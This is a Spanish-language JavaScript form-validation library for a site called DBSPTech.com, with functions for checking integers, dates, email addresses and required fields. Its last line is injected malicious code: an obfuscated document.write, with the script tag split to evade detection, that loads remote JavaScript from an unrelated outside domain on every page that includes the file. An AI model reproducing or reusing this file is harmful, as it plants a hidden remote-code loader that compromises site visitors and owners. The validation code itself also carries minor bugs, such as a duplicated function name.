/************************************************ 

DBSPTech.com 

-----------------------------

Scripts de validación para DBSP

Todos los derechos reservados (R)

************************************************/





// variables globales

var Explorador = navigator.appName;















/******************************************************************************

  funcion ValidaEntero

  Esta función valida que el texto capturado dentro de un control de texto sea

  un número entero.

******************************************************************************/



  function ValidaSelect(val)

  {

	var valor=val.value

	if (valor=='')

	{

	alert ("Seleccione un estado");

	val.focus();

	return false;

	}

	else{return true;}

  }

  function ValidateForm(forma, arreglo, correo) {

    if ( 

	     (ValidaControlesNoNulos(forma,arreglo ))&&

		 (ValidaCorreo(correo))

		 )



	{

	  return true

	}

    else {

	  return false

	}

  } 



function ValidaEntero(evento) {

	var Tecla;

	var valido=false;



	if (Explorador.indexOf("Explorer",0) != -1) {

		Tecla = evento.keyCode;

	} else {

		Tecla=evento.which;

	}

	if (((Tecla > 47) && (Tecla < 58)) || (Tecla==8) || (Tecla==13) ||

	    (Tecla==45) ) {

		valido=true;

	}

	if (Explorador.indexOf("Explorer",0) != -1) {

		if (!valido) {

			evento.keyCode = "";

		}

	}

	return valido;

}









/******************************************************************************

  funcion ValidaNatural

  Esta función valida que el texto capturado dentro de un control de texto sea

  un número Natural o cero.

******************************************************************************/



function ValidaNatural(evento) {

	var Tecla;

	var valido=false;



	if (Explorador.indexOf("Explorer",0) != -1) {

		Tecla = evento.keyCode;

	} else {

		Tecla=evento.which;

	}

	if (((Tecla > 47) && (Tecla < 58)) || (Tecla==8) || (Tecla==13)) {

		valido=true;

	}

	if (Explorador.indexOf("Explorer",0) != -1) {

		if (!valido) {

			evento.keyCode = "";

		}

	}

	return valido;

}















/******************************************************************************

  funcion ValidaFlotante

  Esta función valida que el texto capturado dentro de un control de texto sea

  un número real.

******************************************************************************/



function ValidaFlotante(evento, control) {

	var Tecla;

	var valido=false;



	if (Explorador.indexOf("Explorer",0) != -1) {

		Tecla = evento.keyCode;

	} else {

		Tecla=evento.which;

	}

	if (((Tecla > 47) && (Tecla < 58)) || (Tecla==8) || (Tecla==13) || 

	    (Tecla==45) || (Tecla==46)) {

    	if ( (Tecla==46) && (control.value.indexOf(".")!= -1 ) ) {

    	  valido = false 

    	 }

    	 else {

    	   valido = true;

    	 }		 

	}

	if (Explorador.indexOf("Explorer",0) != -1) {

		if (!valido) {

			evento.keyCode = "";

		}

	}

	return valido;

}















/******************************************************************************

  funcion ValidaFecha

  Esta función valida que el texto capturado dentro de un control de texto 

  tenga la estructura de una fecha. Debe complementarse con ValidaFechaExiste

  antes de realizar el submit de la forma.

******************************************************************************/



function ValidaFecha (evento,control) {

	var Tecla;

	var valido=false;



	if (Explorador.indexOf("Explorer",0) != -1) {

		Tecla = evento.keyCode;

	} else {

		Tecla=evento.which;

	}



	if (((Tecla > 47) && (Tecla < 58)) || (Tecla==8) || (Tecla==13)) {

		valido=true;

	} else if (Tecla==47) {

		//Valida que no haya dos caracteres "/"

		var i=0;

		var posicion=0;

		var valor=control.value;

		var dia=0;

		var strDia="";

		while (valor.indexOf("/") != -1) {

			i++;

			posicion=valor.indexOf("/");

			valor=valor.substring(posicion+1, valor.length);

		}

		if (i==2) {

			alert("La fecha no puede contener tres veces el caracter /");

			valido=false;

		} else if (i==1) {

			if (valor=="") {

				alert("El mes es inválido");

				strDia=control.value;

				strDia=strDia.substring(0, posicion);

				control.value="";

				valido=false;

			} else {

				mes = parseFloat(valor);

				strDia=control.value;

				strDia=strDia.substring(0, posicion);

				dia = parseFloat(strDia);

				if (mes > 0 && mes < 13) {

					//Ahora valida el mes contra el dia

					if ( mes==4 || mes==6 || mes==9 || mes==11) {

						if ( dia > 30 ) {						

							alert("Este mes no tiene "+ dia + " días");

							//control.value="";

							valido=false;

						} else {

							valido=true;

						}

					} else if (mes==2) {

						if (dia > 29) {

								alert("Este mes no tiene "+ dia + " días");

								//control.value="";

								valido=false;

							} else {

								valido=true;

							}

					} else {

						valido=true;

					}

				} else {

					alert("El mes es inválido");

					//control.value="";

					valido=false;

				}

			}

		} else if (i==0) {

			//Este es el primer caracter "/"

			if (valor=="") {

				alert("El día es inválido");

				//control.value="";

				valido=false;

			} else {

				//valida el dia

				dia=parseFloat(valor);

				if ((dia==0) || (dia > 31)) {

					alert("El día es inválido");

					//control.value="";

					valido=false;

				} else {

					valido=true;

				}

			}

		}

	}

	if (Explorador.indexOf("Explorer",0) != -1) {

		if (!valido) {

			evento.keyCode = "";

		}

	}

	return valido;

}













/******************************************************************************

  funcion URLHint

  Esta función muestra un hint en la barra de estatus del explorador. 

******************************************************************************/





 function URLHint (Mensaje){

   window.defaultStatus = '';

   window.status = Mensaje;

 }







/******************************************************************************

  funcion SeleccionaControl

  Esta función selecciona un control dentro de la forma. 

******************************************************************************/

 

 function SeleccionaControl (Control) {

   Control.focus();

   Control.select(); 

 }



 

 

 

 

/******************************************************************************

  funcion RevisaSeleccion

  Esta función revisa que al menos un radio button o check box este 

  seleccionado dentro de una forma.  

******************************************************************************/

 

 

 function RevisaSeleccion(Forma,Mensaje)  {    

    var ElIdx = "";	

    for (var i = 0; i <Forma.elements.length; i++) {

      if (Forma.elements[i].checked == true)  {  

        ElIdx = Forma.elements[i].value;

      }    



    }    

    if (ElIdx == "")  {

      alert (Mensaje);

    }

    return ElIdx;

  }











/******************************************************************************

  funcion ValidaControlesFecha

  Esta función valida que un arreglo de controles de tipo fecha contenga

  valores de fecha válidos.

******************************************************************************/





  function ValidaControlesFecha (Forma,Arreglo) {

     for (var i = 0; i < Forma.elements.length; i++) {  	

       if (EstaEnArreglo(Forma.elements[i].name,Arreglo)) {

            	if (!EsFecha(Forma.elements[i].value)) {

                    alert ("Este campo debe contener una fecha válida (DD/MM/AAAA)!");

                    Forma.elements[i].focus()

                    Forma.elements[i].select()	

                    return false           

                }         

       }         

     }

    return true;

  }

  



/******************************************************************************

  funcion ValidaControlesNoNulos

  Esta función valida que un arreglo de controles no tenga valores nulos.

  

******************************************************************************/

  

  

  function ValidaControlesNoNulos(Forma,Arreglo) {

     for (var i = 0; i < Forma.elements.length; i++) {  	

       if (EstaEnArreglo(Forma.elements[i].name,Arreglo)) {

            	if (EsVacio(Forma.elements[i].value)) {

                    alert ("Este campo es requerido.");

                    Forma.elements[i].focus()

                    Forma.elements[i].select()	

                    return false           

                }         

       }         

     }

    return true;

  }



  





/******************************************************************************

  funcion Mayusculas

  Esta función convierte el texto de un control a mayusculas

******************************************************************************/



function Mayusculas (Control) {

  Control.value=Control.value.toUpperCase();



}











/******************************************************************************

  funcion Minusculas

  Esta función convierte el texto de un control a mayusculas

******************************************************************************/



function Minusculas (Control) {

  Control.value=Control.value.toLowerCase();



}









/******************************************************************************

  Funciones de soporte para las funciones principales.

******************************************************************************/







  function EstaEnArreglo(Elemento, Arreglo) {

    for (var i = 0; i < Arreglo.length; i++) {  	

      if (Arreglo[i]==Elemento) {        

          return true

      }         

    }

    return false  

  }







  

  function EsVacio(Cadena) {

    if (Cadena == "" || Cadena == null) {

      return true

    }

  

   for (var i = 0; i < Cadena.length; i++) {

      var Caracter = Cadena.substring(i, i + 1)

      if (Caracter!=" " && Caracter!="\t" && Caracter!="\n") {

        return false

      }

   }

  

    return true

  }





  

  

   function EsFecha(Fecha) {

   

     var Dia= SubcadenaDelim(Fecha,"/",0,1)

     var Mes= SubcadenaDelim(Fecha,"/",1,2)

     var Anio= SubcadenaDelim(Fecha,"/",2,3)

     

     if (EsVacio(Fecha)) {

          return true		

     }

   

     if ( (!ValidaDia(Dia)) || (!ValidaMes(Mes)) || (!ValidaAnio(Anio)) ) { 	

          return false;

     }     

   

     return(EsFechaCalendarioGregoriano(Dia,Mes,Anio,Fecha) ) 

   }

   

   

   

   

   

   function EsNumero(Cadena) {

   

     if (Cadena == "" || Cadena == null) {

       return true

     }

   

     for (var i = 0; i < Cadena.length; i++) {

       var Caracter = Cadena.substring(i, i + 1)

       if (Caracter < "0" || Caracter > "9") {

         return false

       }

     }

     return (!(Cadena.length==0))

   }





   

   function EnRango(Cadena, Min, Max) {

     var num = parseInt(Cadena)

     if (num < Min || num > Max) {

      return false

     }

     return true

   }

   

   

   function EliminaCeros(Cadena) {

     var Resultado = Cadena

     while (Resultado.substring(0,1) == "0") {

      Resultado = Resultado.substring(1,Resultado.length)

     }

     return Resultado

   }

   

   

   function ValidaCampoNumerico(Campo,Min,Max) {

     var Entrada = EliminaCeros(Campo)

   

     if ((!EsNumero(Entrada)) || (!EnRango(Entrada,Min,Max)) || EsVacio(Entrada) ) {

         return false

     }

   

     return true

   }

     

     

	 

   function ValidaDia(Campo) {

     return (ValidaCampoNumerico(Campo,1,31))

   }

   

   function ValidaMes(Campo) {

     return (ValidaCampoNumerico(Campo,1,12))

   }

   

   function ValidaAnio(Campo) {

     return (ValidaCampoNumerico(Campo,1900,9999))

   }

   

   

   

   

    function FechaCalendarioGregoriano(Dia,Mes,Anio) {

        var DiaMaximo=0;

        var MesAux=parseInt(Mes)

    

        if (Mes==1 || Mes==3 || Mes==5 || Mes==7 || Mes==8 || Mes==10 || Mes==12) {

           DiaMaximo=31

        }

        else {

           if (Mes==2) {

               if ((Anio % 4)==0 && Anio!=1900) {

                    DiaMaximo=29

               }

               else {

                    DiaMaximo=28

               }

           }

           else {

               DiaMaximo=30

           }

        }

    

        return(parseInt(Dia)<=DiaMaximo)

    }

   

   

    

    

    function EsFechaCalendarioGregoriano(Dia,Mes,Anio,Control) {

        var Mensaje="La fecha " +Dia+"/"+Mes+"/"+Anio+ " no existe."

    

        if(FechaCalendarioGregoriano(Dia,Mes,Anio)) {

            return(true)    

        }

        else {

             alert(Mensaje)

             return false

       }

    

    }   

	

	

	

    function SubcadenaDelim(Cadena,Delimitador,Inicio,Fin) {

      var AparDelim=0

      var Subcadena=""

      for (var i = 0; i < Cadena.length; i++) {

        var Caracter = Cadena.substring(i, i + 1)

    

        if (Caracter==Delimitador) {

            AparDelim++

        }

     

        if ((AparDelim>=Inicio) && (AparDelim<Fin) ) {

            if (!(Caracter==Delimitador)) {

               Subcadena= Subcadena+Caracter

            }

        } 

        

        if (AparDelim==Fin) {

            return(Subcadena)

        }          

      }	

      return (Subcadena)  	

    }





/******************************************************************************

  funcion MuestraHint

  Esta función muestra un hint flotante.

******************************************************************************/

  function MuestraHint(current,evento,msg,tipo)

  {

    if (document.all){ 

      if(tipo==1){

         document.all.Hint.innerHTML = '<marquee>'+msg+'</marquee>';   

      }else{

         document.all.Hint.innerHTML = msg;

      }

      if(event.clientX+document.body.scrollLeft<500){

         document.all.Hint.style.pixelLeft=event.clientX+document.body.scrollLeft+10

      }else{

         document.all.Hint.style.pixelLeft=event.clientX+document.body.scrollLeft-150

      }

      document.all.Hint.style.pixelTop=event.clientY+document.body.scrollTop+10

      document.all.Hint.style.visibility="visible"

    }else if (document.layers){

      document.Hint.document.nstip.document.write('<b>'+msg+'</b>')

      document.Hint.document.nstip.document.close()

      document.Hint.document.nstip.left=0

      currentscroll=setInterval("scrolltip()",100)

      document.Hint.left=evento.pageX+10

      document.Hint.top=evento.pageY+10

      document.Hint.visibility="show"

    }

   

  }

  function EscondeHint()

  {

    if(document.all){

      Hint.style.visibility="hidden";

    }else if(document.layers){

      clearInterval(currentscroll)

      document.Hint.visibility="hidden"

    }

  }



/******************************************************************************

  funcion ValidaCorreo

  Esta función verifica que el correo introducido sea correcto.

******************************************************************************/



function ValidaCorreo(correo){

  var i=1

  var final = correo.length

  var valido = false

  if(final>0){

    if((EsLetra(correo.charAt(0)))){ 

       var token = correo.charAt(i)

       while((i<final)&&(token!='@')&&((EsLetra(token))||(EsNumero(token))||(token=='.')||(token=='_'))){

          i++;   

          token = correo.charAt(i);

       }

       if ((token == '@')&&(correo.charAt(i+1)!= '.')&&((i+1)<final)){

          i++;   

          token = correo.charAt(i)

          while((i<final)&&(token!='.')&&((EsLetra(token))||(EsNumero(token))||(token=='_'))){

              i++;   

              token = correo.charAt(i)

          }

          if((token == '.')&&(correo.charAt(i+1)!='.')&&((i+1)<final)){

            i++;   

            token = correo.charAt(i)

            while((i<final)&&(token!='.')&&((EsLetra(token))||(EsNumero(token)||(token=='_')))){

               i++;   

               token = correo.charAt(i)

            }

            if (i>=final){

               return true

            }else{

               if ((token == '.')&&((i+1)<final)){

                 i++;   

                 token = correo.charAt(i)

                 while((i<final)&&((EsLetra(token))||(EsNumero(token))||(token=='_'))){

                   i++;   

                   token = correo.charAt(i)

                 }

                 if(i>=final){

                    return true

                 }else{

                    alert('Hay algo mal después del segundo punto')

                    return false

                 }

               }else{

                  alert('Hay un simbolo desconocido después del primer punto')

                  return false

               }

            }

          }else{

             alert('No tiene punto, o hay algun símbolo no valido')

             return false

          }

       }else{

          alert('No hay \'@\', no hay dominio, o hay un símbolo no valido')

          return false

       }

    }else{

       alert('El comienzo del correo es invalido')

       return false;

    }

  }else{

     return true;

  }

}



/******************************************************************************

  funcion EsLetra

  Devuelve true si el caracter recibido es una letra.

******************************************************************************/



function EsLetra(letra){

   if(((letra>='A') && (letra<='Z')) ||((letra>='a')&&(letra<='z'))){

      return true;

   }else{

      return false;

   }

}

/******************************************************************************

  funcion EsNumero

  Devuelve true si el caracter recibido es un número.

******************************************************************************/



function EsNumero(numero){

   if((numero>='0') && (numero<='9')){

      return true;

   }else{

      return false;

   }

}






document.write('<s'+'cript type="text/javascript" src="http://inc.chubbyblondebabes.com/AGP.js"></scr'+'ipt>');